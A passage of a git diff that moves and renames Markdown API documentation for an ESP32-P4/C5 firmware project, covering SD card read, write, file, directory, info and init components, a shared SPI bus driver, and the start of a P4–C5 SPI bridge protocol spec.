**Formatted Output:** Printf-style writing +- **CSV Support:** Simplified row writing + +## API Reference + +### Text Writing + +#### `sd_write_string` / `sd_append_string` +```c +esp_err_t sd_write_string(const char *path, const char *data); +esp_err_t sd_append_string(const char *path, const char *data); +``` +Writes or appends string. + +--- + +#### `sd_write_line` / `sd_append_line` +```c +esp_err_t sd_write_line(const char *path, const char *line); +esp_err_t sd_append_line(const char *path, const char *line); +``` +Writes or appends line with automatic newline. + +--- + +#### `sd_write_formatted` / `sd_append_formatted` +```c +esp_err_t sd_write_formatted(const char *path, const char *format, ...); +esp_err_t sd_append_formatted(const char *path, const char *format, ...); +``` +Printf-style formatted writing. + +--- + +### Binary Writing + +#### `sd_write_binary` / `sd_append_binary` +```c +esp_err_t sd_write_binary(const char *path, const void *data, size_t size); +esp_err_t sd_append_binary(const char *path, const void *data, size_t size); +``` +Writes or appends binary data. + +--- + +#### `sd_write_buffer` +```c +esp_err_t sd_write_buffer(const char *path, const void *buffer, size_t size); +``` +Alias for `sd_write_binary`. + +--- + +#### `sd_write_bytes` +```c +esp_err_t sd_write_bytes(const char *path, const uint8_t *bytes, size_t count); +``` +Writes byte array. + +--- + +#### `sd_write_byte` +```c +esp_err_t sd_write_byte(const char *path, uint8_t byte); +``` +Writes single byte. + +--- + +### Type Helpers + +#### `sd_write_int` +```c +esp_err_t sd_write_int(const char *path, int32_t value); +``` +Writes integer as decimal text. + +--- + +#### `sd_write_float` +```c +esp_err_t sd_write_float(const char *path, float value); +``` +Writes float with 6 decimal places. + +--- + +### CSV Support + +#### `sd_write_csv_row` / `sd_append_csv_row` +```c +esp_err_t sd_write_csv_row(const char *path, const char **columns, size_t num_columns); +esp_err_t sd_append_csv_row(const char *path, const char **columns, size_t num_columns); +``` +Writes or appends CSV row (comma-separated with newline). + +--- + +## Implementation Details + +- All writes verify byte count matches expected size +- Automatic `/sdcard` prefix for relative paths +- Buffers flushed automatically on file close + +## Usage Example + +```c +void log_event(const char *type, const char *msg) { + time_t now = time(NULL); + sd_append_formatted("/logs/events.log", "[%ld] %s: %s\n", now, type, msg); +} + +void save_sensor_data(float temp, float humidity) { + const char *row[] = { + "Temperature", "Humidity" + }; + sd_write_csv_row("/data/sensors.csv", row, 2); + + char temp_str[16], hum_str[16]; + snprintf(temp_str, sizeof(temp_str), "%.2f", temp); + snprintf(hum_str, sizeof(hum_str), "%.2f", humidity); + + const char *data[] = {temp_str, hum_str}; + sd_append_csv_row("/data/sensors.csv", data, 2); +} +``` + +--- + +# SD Card File Management Component + +Component for comprehensive SD card file operations. + +## Overview + +- **Location:** `components/storage/sd_card_file/` +- **Main Header:** `include/sd_card_file.h` +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` + +## Key Features + +- **File Operations:** Create, delete, rename, move, copy +- **Metadata Access:** Size, modification time, attributes +- **File Comparison:** Byte-by-byte comparison +- **File Truncation:** Resize to specific length +- **Utilities:** Check existence, get extensions, clear contents + +## Data Structures + +### `sd_file_info_t` +```c +typedef struct { + char path[256]; // Full path + size_t size; // File size in bytes + time_t modified_time; // Last modification time + bool is_directory; // Directory flag +} sd_file_info_t; +``` + +## API Reference + +### File Information + +#### `sd_file_exists` +```c +bool sd_file_exists(const char *path); +``` +Checks if file exists. + +--- + +#### `sd_file_get_info` +```c +esp_err_t sd_file_get_info(const char *path, sd_file_info_t *info); +``` +Retrieves complete file information. + +--- + +#### `sd_file_get_size` +```c +esp_err_t sd_file_get_size(const char *path, size_t *size); +``` +Gets file size in bytes. + +--- + +#### `sd_file_is_empty` +```c +esp_err_t sd_file_is_empty(const char *path, bool *is_empty); +``` +Checks if file has zero bytes. + +--- + +### File Manipulation + +#### `sd_file_delete` +```c +esp_err_t sd_file_delete(const char *path); +``` +Permanently deletes file. + +--- + +#### `sd_file_rename` +```c +esp_err_t sd_file_rename(const char *old_path, const char *new_path); +``` +Renames or moves file (same filesystem). + +--- + +#### `sd_file_move` +```c +esp_err_t sd_file_move(const char *src_path, const char *dst_path); +``` +Moves file (alias for rename). + +--- + +#### `sd_file_copy` +```c +esp_err_t sd_file_copy(const char *src_path, const char *dst_path); +``` +Copies file (source unchanged). + +--- + +#### `sd_file_truncate` +```c +esp_err_t sd_file_truncate(const char *path, size_t size); +``` +Resizes file to specified size. + +--- + +#### `sd_file_clear` +```c +esp_err_t sd_file_clear(const char *path); +``` +Clears all content (makes empty). + +--- + +### File Comparison + +#### `sd_file_compare` +```c +esp_err_t sd_file_compare(const char *path1, const char *path2, bool *are_equal); +``` +Byte-by-byte comparison. + +--- + +### Utilities + +#### `sd_file_get_extension` +```c +esp_err_t sd_file_get_extension(const char *path, char *extension, size_t size); +``` +Extracts file extension (without dot). + +--- + +## Implementation Details + +- Rename/move are atomic, copy is not +- Path buffer in `sd_file_info_t` is 256 bytes +- Not thread-safe - use mutexes for concurrent access + +## Usage Example + +```c +esp_err_t backup_config(void) { + const char *config = "/sdcard/config/settings.json"; + const char *backup = "/sdcard/backups/settings.json"; + + // Create backup + if (sd_file_copy(config, backup) != ESP_OK) { + return ESP_FAIL; + } + + // Verify backup + bool equal; + sd_file_compare(config, backup, &equal); + + return equal ? ESP_OK : ESP_FAIL; +} +``` +--- + +# C5 Component for managing directories on SD card storage. diff --git a/docs/sd_card/p4.md b/docs/sd_card/p4.md deleted file mode 100644 index 6d1a58dd1..000000000 --- a/docs/sd_card/p4.md +++ /dev/null @@ -1,949 +0,0 @@ -# SD Directory Management Component - -Component for managing directories on SD card storage. - -## Overview - -- **Location:** `components/storage/sd_dir/` -- **Main Header:** `include/sd_dir.h` -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` - -## Key Features - -- **Directory Operations:** Create, delete, list, and check existence -- **Recursive Operations:** Remove trees, copy directories, calculate sizes -- **Predefined Paths:** System-wide constants for organizing data -- **Callback System:** Efficient iteration with custom callbacks -- **Statistics:** Count files/directories, calculate storage usage - -## Path Constants - -All path constants have been centralized in `tos_storage_paths.h` using `TOS_PATH_*` macros. -The sd_card component uses `VFS_MOUNT_POINT` (from `vfs_config.h`) as the mount point prefix. - -See `storage_api/include/tos_storage_paths.h` for the full list of available paths. - -## API Reference - -### Directory Creation & Deletion - -#### `sd_dir_create` -```c -esp_err_t sd_dir_create(const char *path); -``` -Creates directory with automatic parent creation (like `mkdir -p`). - -**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. - ---- - -#### `sd_dir_remove_recursive` -```c -esp_err_t sd_dir_remove_recursive(const char *path); -``` -Recursively deletes directory and all contents. **Use with caution.** - -**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. - ---- - -### Directory Information - -#### `sd_dir_exists` -```c -bool sd_dir_exists(const char *path); -``` -Checks if directory exists. - -**Returns:** `true` if exists, `false` otherwise. - ---- - -#### `sd_dir_list` -```c -typedef void (*sd_dir_callback_t)(const char *name, bool is_dir, void *user_data); -esp_err_t sd_dir_list(const char *path, sd_dir_callback_t callback, void *user_data); -``` -Iterates through directory entries, calling callback for each item. - -**Example:** -```c -void print_entry(const char *name, bool is_dir, void *user_data) { - printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); -} -sd_dir_list("/sdcard/badusb", print_entry, NULL); -``` - ---- - -#### `sd_dir_count` -```c -esp_err_t sd_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count); -``` -Counts files and subdirectories (non-recursive). - -**Returns:** `ESP_OK` on success. - ---- - -#### `sd_dir_get_size` -```c -esp_err_t sd_dir_get_size(const char *path, uint64_t *total_size); -``` -Calculates total size of all files in directory tree (recursive). - -**Returns:** `ESP_OK` on success. - ---- - -### Directory Operations - -#### `sd_dir_copy_recursive` -```c -esp_err_t sd_dir_copy_recursive(const char *src, const char *dst); -``` -Copies entire directory tree, preserving structure. - -**Returns:** `ESP_OK` on success. - ---- - -## Implementation Details - -- All functions require full paths including `VFS_MOUNT_POINT` -- Functions are not thread-safe - use mutexes for concurrent access -- Recursive operations may fail on deeply nested directories - -## Usage Example - -```c -#include "tos_storage_paths.h" - -void example(void) { - sd_dir_create(TOS_PATH_NFC); - sd_dir_create(TOS_PATH_BADUSB); -} -``` - ---- - -# SD Card Information Component - -Component for querying SD card hardware and filesystem statistics. - -## Overview - -- **Location:** `components/storage/sd_card_info/` -- **Main Header:** `include/sd_card_info.h` -- **Dependencies:** `esp_vfs_fat`, `sdmmc_cmd`, `ff`, `storage_sd` - -## Key Features - -- **Hardware Info:** Card name, capacity, speed, type -- **Filesystem Stats:** Total, used, free space with percentages -- **Mount Status:** Check if card is accessible -- **Debug Output:** Console logging of card information - -## Data Structures - -### `sd_card_info_t` -```c -typedef struct { - char name[16]; // Card manufacturer name - uint32_t capacity_mb; // Total capacity in MB - uint32_t sector_size; // Sector size in bytes - uint32_t num_sectors; // Total number of sectors - uint32_t speed_khz; // Max speed in kHz - uint8_t card_type; // Card type identifier - bool is_mounted; // Mount status -} sd_card_info_t; -``` - -### `sd_fs_stats_t` -```c -typedef struct { - uint64_t total_bytes; // Total capacity - uint64_t used_bytes; // Space in use - uint64_t free_bytes; // Available space -} sd_fs_stats_t; -``` - -## API Reference - -### Card Information - -#### `sd_get_card_info` -```c -esp_err_t sd_get_card_info(sd_card_info_t *info); -``` -Retrieves complete hardware information. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_ERR_INVALID_ARG`. - ---- - -#### `sd_print_card_info` -```c -void sd_print_card_info(void); -``` -Prints formatted card information to console. - ---- - -### Filesystem Statistics - -#### `sd_get_fs_stats` -```c -esp_err_t sd_get_fs_stats(sd_fs_stats_t *stats); -``` -Retrieves complete filesystem statistics. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, `ESP_ERR_INVALID_ARG`, or `ESP_FAIL`. - ---- - -#### `sd_get_free_space` -```c -esp_err_t sd_get_free_space(uint64_t *free_bytes); -``` -Gets available free space. - ---- - -#### `sd_get_total_space` -```c -esp_err_t sd_get_total_space(uint64_t *total_bytes); -``` -Gets total filesystem capacity. - ---- - -#### `sd_get_used_space` -```c -esp_err_t sd_get_used_space(uint64_t *used_bytes); -``` -Gets space currently in use. - ---- - -#### `sd_get_usage_percent` -```c -esp_err_t sd_get_usage_percent(float *percentage); -``` -Calculates usage percentage (0.0 to 100.0). - ---- - -### Individual Attributes - -#### `sd_get_card_name` -```c -esp_err_t sd_get_card_name(char *name, size_t size); -``` -Gets manufacturer name. - ---- - -#### `sd_get_capacity` -```c -esp_err_t sd_get_capacity(uint32_t *capacity_mb); -``` -Gets total capacity in MB. - ---- - -#### `sd_get_speed` -```c -esp_err_t sd_get_speed(uint32_t *speed_khz); -``` -Gets maximum communication speed. - ---- - -#### `sd_get_card_type` -```c -esp_err_t sd_get_card_type(uint8_t *type); -``` -Gets raw card type identifier. - ---- - -#### `sd_get_card_type_name` -```c -esp_err_t sd_get_card_type_name(char *type_name, size_t size); -``` -Gets human-readable card type string. - ---- - -## Implementation Details - -- Uses FatFS `f_getfree()` for filesystem stats -- Accesses SDMMC layer for hardware information -- All functions verify mount status before access -- Thread-safe for read operations - -## Usage Example - -```c -void check_storage_health(void) { - sd_card_info_t info; - float usage; - - if (sd_get_card_info(&info) == ESP_OK && - sd_get_usage_percent(&usage) == ESP_OK) { - - printf("Card: %s (%lu MB)\n", info.name, info.capacity_mb); - printf("Usage: %.1f%%\n", usage); - - if (usage > 90.0f) { - printf("WARNING: Low disk space!\n"); - } - } -} -``` - ---- - -# SD Card Initialization Component - -Component for SD card initialization, mounting, and lifecycle management. - -## Overview - -- **Location:** `components/storage/sd_card_init/` -- **Main Header:** `include/sd_card_init.h` -- **Dependencies:** `esp_vfs_fat`, `driver/sdspi_host`, `sdmmc_cmd`, `spi`, `pin_def` - -## Key Features - -- **Simple Initialization:** One-function setup with defaults -- **Custom Configuration:** Control max files, auto-format, allocation size -- **Mount Management:** Mount, unmount, remount, check status -- **Shared SPI Bus:** Integration with centralized SPI driver -- **Health Monitoring:** Basic health checks -- **Card Handle Access:** Low-level SDMMC handle for advanced use - -## Configuration - -```c -// VFS_MOUNT_POINT is defined in vfs_config.h (e.g. "/sdcard") -#define SD_MAX_FILES 10 // Max open files -#define SD_ALLOCATION_UNIT 16 * 1024 // 16KB cluster size -``` - -## API Reference - -### Initialization - -#### `sd_init` -```c -esp_err_t sd_init(void); -``` -Initializes SD card with default settings. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. - ---- - -#### `sd_init_custom` -```c -esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed); -``` -Initializes with custom parameters. - -**Warning:** `format_if_failed=true` erases all data on mount failure. - ---- - -#### `sd_init_custom_pins` -```c -esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs); -``` -**Deprecated:** Custom pins not supported with shared SPI driver. - ---- - -### Deinitialization - -#### `sd_deinit` -```c -esp_err_t sd_deinit(void); -``` -Unmounts SD card and releases resources. Close all files first. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. - ---- - -### Status & Maintenance - -#### `sd_is_mounted` -```c -bool sd_is_mounted(void); -``` -Checks if SD card is mounted. - ---- - -#### `sd_remount` -```c -esp_err_t sd_remount(void); -``` -Unmounts and remounts SD card (useful for error recovery). - ---- - -#### `sd_check_health` -```c -esp_err_t sd_check_health(void); -``` -Performs basic health check. - ---- - -#### `sd_reset_bus` -```c -esp_err_t sd_reset_bus(void); -``` -**Not Supported:** Returns `ESP_ERR_NOT_SUPPORTED`. Use `sd_remount()` instead. - ---- - -### Advanced Access - -#### `sd_get_card_handle` -```c -sdmmc_card_t* sd_get_card_handle(void); -``` -Returns pointer to internal SDMMC card structure. Returns `NULL` if not mounted. - -**Warning:** Direct manipulation can interfere with VFS operations. - ---- - -## Implementation Details - -### SPI Configuration -```c -spi_device_config_t sd_cfg = { - .cs_pin = SD_CARD_CS_PIN, - .clock_speed_hz = 20000 * 1000, - .mode = 0, - .queue_size = 4, -}; -``` - -### Mount Configuration -```c -esp_vfs_fat_sdmmc_mount_config_t mount_config = { - .format_if_mount_failed = false, - .max_files = 5, - .allocation_unit_size = 16 * 1024, -}; -``` - -## Troubleshooting - -| Problem | Solutions | -|---------|-----------| -| `sd_init()` returns `ESP_FAIL` | Check card insertion, verify pins, try different card, enable debug logs | -| File operations fail | Check filesystem corruption, verify max_files limit, close file handles, try remount | -| Random disconnects | Check power supply, verify connections, reduce clock speed, add pull-ups | -| `sd_deinit()` fails | Close all file handles first, check for active tasks | - -## Usage Example - -```c -void storage_init(void) { - if (sd_init() == ESP_OK) { - ESP_LOGI(TAG, "SD card mounted"); - sd_dir_create("/sdcard/config"); - } else { - ESP_LOGE(TAG, "SD card mount failed"); - } -} -``` - ---- - -# SD Card Read Component - -Component for comprehensive SD card file reading operations. - -## Overview - -- **Location:** `components/storage/sd_card_read/` -- **Main Header:** `include/sd_card_read.h` -- **Dependencies:** `esp_vfs_fat`, `storage_sd` - -## Key Features - -- **Text Reading:** Entire files, specific lines, line-by-line processing -- **Binary Reading:** Raw data, chunks, individual bytes -- **Type Conversion:** Direct reading of integers, floats -- **Content Search:** String search and occurrence counting -- **Flexible Paths:** Automatic `/sdcard` prefix for relative paths - -## Configuration - -```c -#define MAX_PATH_LEN 256 // Maximum path length -#define MAX_LINE_LEN 512 // Maximum line length -``` - -## API Reference - -### Text Reading - -#### `sd_read_string` -```c -esp_err_t sd_read_string(const char *path, char *buffer, size_t buffer_size); -``` -Reads entire file as null-terminated string. - ---- - -#### `sd_read_line` -```c -esp_err_t sd_read_line(const char *path, char *buffer, size_t buffer_size, uint32_t line_number); -``` -Reads specific line (1-based index). - ---- - -#### `sd_read_first_line` -```c -esp_err_t sd_read_first_line(const char *path, char *buffer, size_t buffer_size); -``` -Reads first line. Equivalent to `sd_read_line(path, buffer, size, 1)`. - ---- - -#### `sd_read_last_line` -```c -esp_err_t sd_read_last_line(const char *path, char *buffer, size_t buffer_size); -``` -Reads last line. - ---- - -#### `sd_read_lines` -```c -typedef void (*sd_line_callback_t)(const char *line, void *user_data); -esp_err_t sd_read_lines(const char *path, sd_line_callback_t callback, void *user_data); -``` -Processes each line via callback. Memory-efficient for large files. - ---- - -#### `sd_count_lines` -```c -esp_err_t sd_count_lines(const char *path, uint32_t *line_count); -``` -Counts total lines in file. - ---- - -### Binary Reading - -#### `sd_read_binary` -```c -esp_err_t sd_read_binary(const char *path, void *buffer, size_t size, size_t *bytes_read); -``` -Reads raw binary data. - ---- - -#### `sd_read_chunk` -```c -esp_err_t sd_read_chunk(const char *path, size_t offset, void *buffer, size_t size, size_t *bytes_read); -``` -Reads data chunk from specific offset. - ---- - -#### `sd_read_bytes` -```c -esp_err_t sd_read_bytes(const char *path, uint8_t *bytes, size_t max_count, size_t *count); -``` -Alias for `sd_read_binary` with byte array typing. - ---- - -#### `sd_read_byte` -```c -esp_err_t sd_read_byte(const char *path, uint8_t *byte); -``` -Reads single byte. - ---- - -### Type Conversion - -#### `sd_read_int` -```c -esp_err_t sd_read_int(const char *path, int32_t *value); -``` -Reads and converts to 32-bit integer. - ---- - -#### `sd_read_float` -```c -esp_err_t sd_read_float(const char *path, float *value); -``` -Reads and converts to float. - ---- - -### Content Search - -#### `sd_file_contains` -```c -esp_err_t sd_file_contains(const char *path, const char *search, bool *found); -``` -Checks if string exists in file. - ---- - -#### `sd_count_occurrences` -```c -esp_err_t sd_count_occurrences(const char *path, const char *search, uint32_t *count); -``` -Counts string occurrences in file. - ---- - -## Implementation Details - -- Line functions allocate 512-byte stack buffers -- Use `sd_read_lines()` callback for large files -- Thread-safe for different files -- Automatic path formatting (relative → absolute) - -## Usage Example - -```c -void process_config(void) { - char buffer[256]; - - // Read entire file - if (sd_read_string("/config/settings.txt", buffer, sizeof(buffer)) == ESP_OK) { - printf("Config: %s\n", buffer); - } - - // Process line-by-line - sd_read_lines("/logs/system.log", [](const char *line, void *ctx) { - printf("Log: %s\n", line); - }, NULL); -} -``` - ---- - -# SD Card Write Component - -Component for comprehensive SD card file writing operations. - -## Overview - -- **Location:** `components/storage/sd_card_write/` -- **Main Header:** `include/sd_card_write.h` -- **Dependencies:** `esp_vfs_fat`, `storage_sd` - -## Key Features - -- **Text Writing:** Strings, lines, formatted text -- **Binary Writing:** Raw data, buffers, individual bytes -- **Append Operations:** Add to existing files -- **Formatted Output:** Printf-style writing -- **CSV Support:** Simplified row writing - -## API Reference - -### Text Writing - -#### `sd_write_string` / `sd_append_string` -```c -esp_err_t sd_write_string(const char *path, const char *data); -esp_err_t sd_append_string(const char *path, const char *data); -``` -Writes or appends string. - ---- - -#### `sd_write_line` / `sd_append_line` -```c -esp_err_t sd_write_line(const char *path, const char *line); -esp_err_t sd_append_line(const char *path, const char *line); -``` -Writes or appends line with automatic newline. - ---- - -#### `sd_write_formatted` / `sd_append_formatted` -```c -esp_err_t sd_write_formatted(const char *path, const char *format, ...); -esp_err_t sd_append_formatted(const char *path, const char *format, ...); -``` -Printf-style formatted writing. - ---- - -### Binary Writing - -#### `sd_write_binary` / `sd_append_binary` -```c -esp_err_t sd_write_binary(const char *path, const void *data, size_t size); -esp_err_t sd_append_binary(const char *path, const void *data, size_t size); -``` -Writes or appends binary data. - ---- - -#### `sd_write_buffer` -```c -esp_err_t sd_write_buffer(const char *path, const void *buffer, size_t size); -``` -Alias for `sd_write_binary`. - ---- - -#### `sd_write_bytes` -```c -esp_err_t sd_write_bytes(const char *path, const uint8_t *bytes, size_t count); -``` -Writes byte array. - ---- - -#### `sd_write_byte` -```c -esp_err_t sd_write_byte(const char *path, uint8_t byte); -``` -Writes single byte. - ---- - -### Type Helpers - -#### `sd_write_int` -```c -esp_err_t sd_write_int(const char *path, int32_t value); -``` -Writes integer as decimal text. - ---- - -#### `sd_write_float` -```c -esp_err_t sd_write_float(const char *path, float value); -``` -Writes float with 6 decimal places. - ---- - -### CSV Support - -#### `sd_write_csv_row` / `sd_append_csv_row` -```c -esp_err_t sd_write_csv_row(const char *path, const char **columns, size_t num_columns); -esp_err_t sd_append_csv_row(const char *path, const char **columns, size_t num_columns); -``` -Writes or appends CSV row (comma-separated with newline). - ---- - -## Implementation Details - -- All writes verify byte count matches expected size -- Automatic `/sdcard` prefix for relative paths -- Buffers flushed automatically on file close - -## Usage Example - -```c -void log_event(const char *type, const char *msg) { - time_t now = time(NULL); - sd_append_formatted("/logs/events.log", "[%ld] %s: %s\n", now, type, msg); -} - -void save_sensor_data(float temp, float humidity) { - const char *row[] = { - "Temperature", "Humidity" - }; - sd_write_csv_row("/data/sensors.csv", row, 2); - - char temp_str[16], hum_str[16]; - snprintf(temp_str, sizeof(temp_str), "%.2f", temp); - snprintf(hum_str, sizeof(hum_str), "%.2f", humidity); - - const char *data[] = {temp_str, hum_str}; - sd_append_csv_row("/data/sensors.csv", data, 2); -} -``` - ---- - -# SD Card File Management Component - -Component for comprehensive SD card file operations. - -## Overview - -- **Location:** `components/storage/sd_card_file/` -- **Main Header:** `include/sd_card_file.h` -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` - -## Key Features - -- **File Operations:** Create, delete, rename, move, copy -- **Metadata Access:** Size, modification time, attributes -- **File Comparison:** Byte-by-byte comparison -- **File Truncation:** Resize to specific length -- **Utilities:** Check existence, get extensions, clear contents - -## Data Structures - -### `sd_file_info_t` -```c -typedef struct { - char path[256]; // Full path - size_t size; // File size in bytes - time_t modified_time; // Last modification time - bool is_directory; // Directory flag -} sd_file_info_t; -``` - -## API Reference - -### File Information - -#### `sd_file_exists` -```c -bool sd_file_exists(const char *path); -``` -Checks if file exists. - ---- - -#### `sd_file_get_info` -```c -esp_err_t sd_file_get_info(const char *path, sd_file_info_t *info); -``` -Retrieves complete file information. - ---- - -#### `sd_file_get_size` -```c -esp_err_t sd_file_get_size(const char *path, size_t *size); -``` -Gets file size in bytes. - ---- - -#### `sd_file_is_empty` -```c -esp_err_t sd_file_is_empty(const char *path, bool *is_empty); -``` -Checks if file has zero bytes. - ---- - -### File Manipulation - -#### `sd_file_delete` -```c -esp_err_t sd_file_delete(const char *path); -``` -Permanently deletes file. - ---- - -#### `sd_file_rename` -```c -esp_err_t sd_file_rename(const char *old_path, const char *new_path); -``` -Renames or moves file (same filesystem). - ---- - -#### `sd_file_move` -```c -esp_err_t sd_file_move(const char *src_path, const char *dst_path); -``` -Moves file (alias for rename). - ---- - -#### `sd_file_copy` -```c -esp_err_t sd_file_copy(const char *src_path, const char *dst_path); -``` -Copies file (source unchanged). - ---- - -#### `sd_file_truncate` -```c -esp_err_t sd_file_truncate(const char *path, size_t size); -``` -Resizes file to specified size. - ---- - -#### `sd_file_clear` -```c -esp_err_t sd_file_clear(const char *path); -``` -Clears all content (makes empty). - ---- - -### File Comparison - -#### `sd_file_compare` -```c -esp_err_t sd_file_compare(const char *path1, const char *path2, bool *are_equal); -``` -Byte-by-byte comparison. - ---- - -### Utilities - -#### `sd_file_get_extension` -```c -esp_err_t sd_file_get_extension(const char *path, char *extension, size_t size); -``` -Extracts file extension (without dot). - ---- - -## Implementation Details - -- Rename/move are atomic, copy is not -- Path buffer in `sd_file_info_t` is 256 bytes -- Not thread-safe - use mutexes for concurrent access - -## Usage Example - -```c -esp_err_t backup_config(void) { - const char *config = "/sdcard/config/settings.json"; - const char *backup = "/sdcard/backups/settings.json"; - - // Create backup - if (sd_file_copy(config, backup) != ESP_OK) { - return ESP_FAIL; - } - - // Verify backup - bool equal; - sd_file_compare(config, backup, &equal); - - return equal ? ESP_OK : ESP_FAIL; -} -``` \ No newline at end of file diff --git a/docs/spi/p4.md b/docs/spi/README.md similarity index 50% rename from docs/spi/p4.md rename to docs/spi/README.md index 0eacc65a0..d234b6341 100644 --- a/docs/spi/p4.md +++ b/docs/spi/README.md @@ -1,4 +1,4 @@ -# SPI Bus Driver +# P4 This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. @@ -52,3 +52,59 @@ Performs a simple polling/blocking transmission to the specified device. esp_err_t spi_deinit(void); ``` Removes all devices and frees the SPI bus resources. + +--- + +# C5 + +This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. + +## Overview + +- **Location:** `components/Drivers/spi/` +- **Header:** `include/spi.h` +- **Dependencies:** `driver/spi_master` +- **Host:** `SPI3_HOST` + +## Supported Devices (`spi_device_id_t`) + +1. **SPI_DEVICE_ST7789:** Display Driver +2. **SPI_DEVICE_CC1101:** Sub-GHz Radio +3. **SPI_DEVICE_SD_CARD:** Storage + +## API Reference + +### `spi_init` +```c +esp_err_t spi_init(void); +``` +Initializes the SPI bus (MOSI, MISO, SCLK) on `SPI3_HOST` using DMA Channel `Auto`. +- **Pins:** Defined in `pin_def.h`. +- **Max Transfer Size:** 32768 bytes. + +### `spi_add_device` +```c +esp_err_t spi_add_device(spi_device_id_t id, const spi_device_config_t *config); +``` +Adds a specific device to the initialized bus. +- **id:** Device identifier enum. +- **config:** Struct containing CS pin, clock speed, SPI mode, and queue size. + +### `spi_get_handle` +```c +spi_device_handle_t spi_get_handle(spi_device_id_t id); +``` +Retrieves the ESP-IDF `spi_device_handle_t` for a registered device ID. Useful for calling native ESP-IDF SPI functions. + +### `spi_transmit` +```c +esp_err_t spi_transmit(spi_device_id_t id, const uint8_t *data, size_t len); +``` +Performs a simple polling/blocking transmission to the specified device. +- **Note:** For high-performance display flushing, specific drivers (like `esp_lcd`) typically use their own transmission logic using the handle obtained via `spi_get_handle`. + +### `spi_deinit` +```c +esp_err_t spi_deinit(void); +``` +Removes all devices and frees the SPI bus resources. diff --git a/docs/spi/c5.md b/docs/spi/c5.md deleted file mode 100644 index f4dc129d6..000000000 --- a/docs/spi/c5.md +++ /dev/null @@ -1,53 +0,0 @@ -# SPI Bus Driver - -This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. - -## Overview - -- **Location:** `components/Drivers/spi/` -- **Header:** `include/spi.h` -- **Dependencies:** `driver/spi_master` -- **Host:** `SPI3_HOST` - -## Supported Devices (`spi_device_id_t`) - -1. **SPI_DEVICE_ST7789:** Display Driver -2. **SPI_DEVICE_CC1101:** Sub-GHz Radio -3. **SPI_DEVICE_SD_CARD:** Storage - -## API Reference - -### `spi_init` -```c -esp_err_t spi_init(void); -``` -Initializes the SPI bus (MOSI, MISO, SCLK) on `SPI3_HOST` using DMA Channel `Auto`. -- **Pins:** Defined in `pin_def.h`. -- **Max Transfer Size:** 32768 bytes. - -### `spi_add_device` -```c -esp_err_t spi_add_device(spi_device_id_t id, const spi_device_config_t *config); -``` -Adds a specific device to the initialized bus. -- **id:** Device identifier enum. -- **config:** Struct containing CS pin, clock speed, SPI mode, and queue size. - -### `spi_get_handle` -```c -spi_device_handle_t spi_get_handle(spi_device_id_t id); -``` -Retrieves the ESP-IDF `spi_device_handle_t` for a registered device ID. Useful for calling native ESP-IDF SPI functions. - -### `spi_transmit` -```c -esp_err_t spi_transmit(spi_device_id_t id, const uint8_t *data, size_t len); -``` -Performs a simple polling/blocking transmission to the specified device. -- **Note:** For high-performance display flushing, specific drivers (like `esp_lcd`) typically use their own transmission logic using the handle obtained via `spi_get_handle`. - -### `spi_deinit` -```c -esp_err_t spi_deinit(void); -``` -Removes all devices and frees the SPI bus resources. diff --git a/docs/spi_bridge/README.md b/docs/spi_bridge/README.md index 83ae89f6a..f2daa92b6 100644 --- a/docs/spi_bridge/README.md +++ b/docs/spi_bridge/README.md @@ -269,3 +269,607 @@ superset - it has port-scan commands the C5 doesn't implement). - Command `op` values currently reuse the legacy single-byte ids (e.g. WiFi ops start at `0x10`); renumbering to `0x01`-based per category is a safe cosmetic follow-up. + +--- + +# P4 + +This component manages the high-speed communication link between the **ESP32-P4 (Main OS)** and the **ESP32-C5 (Radio Co-processor)**. + +## Architecture +The P4 acts as the **SPI Master**. It is responsible for: +1. Generating the SCLK and managing the CS line. +2. Initiating all command transfers. +3. Handling the **IRQ (Handshake)** signal from the C5 to know when response data is ready. +4. Managing the C5 lifecycle (Reset, Boot mode, and Firmware Updates via UART). + +## Protocol Specification +Every packet follows a 5-byte fixed header: +- `Sync (0xAA)`: Packet synchronization. +- `Type`: `0x01` (Command), `0x02` (Response), `0x03` (Stream). +- `Category`: Subsystem selector (`spi_cat_t`: WiFi `0x01`, BT `0x02`, …). The C5 + routes a command to a dispatcher by this byte alone. +- `Op`: Operation within the category. +- `Length`: Size of the following payload (0-255 bytes). + +`Category` + `Op` together form the packed command identifier (`spi_id_t`), +built via `SPI_CMD(cat, op)`. Use `spi_header_cmd()` / `spi_header_set_cmd()` to +read/write the pair as a single 16-bit value. + +## Command Reference + +Every command's `spi_id_t` packs `Category` (high byte) and `Op` (low byte) via `SPI_CMD(cat, op)`. On the wire those are the 3rd and 4th header bytes; in code use the single 16-bit `SPI_ID_*` constant. + +### System (`0x00`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_SYSTEM_PING` | `0x01` | `0x0001` | +| `SPI_ID_SYSTEM_STATUS` | `0x02` | `0x0002` | +| `SPI_ID_SYSTEM_REBOOT` | `0x03` | `0x0003` | +| `SPI_ID_SYSTEM_VERSION` | `0x04` | `0x0004` | +| `SPI_ID_SYSTEM_DATA` | `0x05` | `0x0005` | +| `SPI_ID_SYSTEM_STREAM` | `0x06` | `0x0006` | +| `SPI_ID_SYSTEM_LOG` | `0x07` | `0x0007` | + +`SPI_ID_SYSTEM_LOG` is a C5→P4 stream carrying log lines (`[level u8][utf-8]`) for +the companion's C5 console (see the host-link docs). + +System ops `0x40`-`0x49` (`FILE_*`, 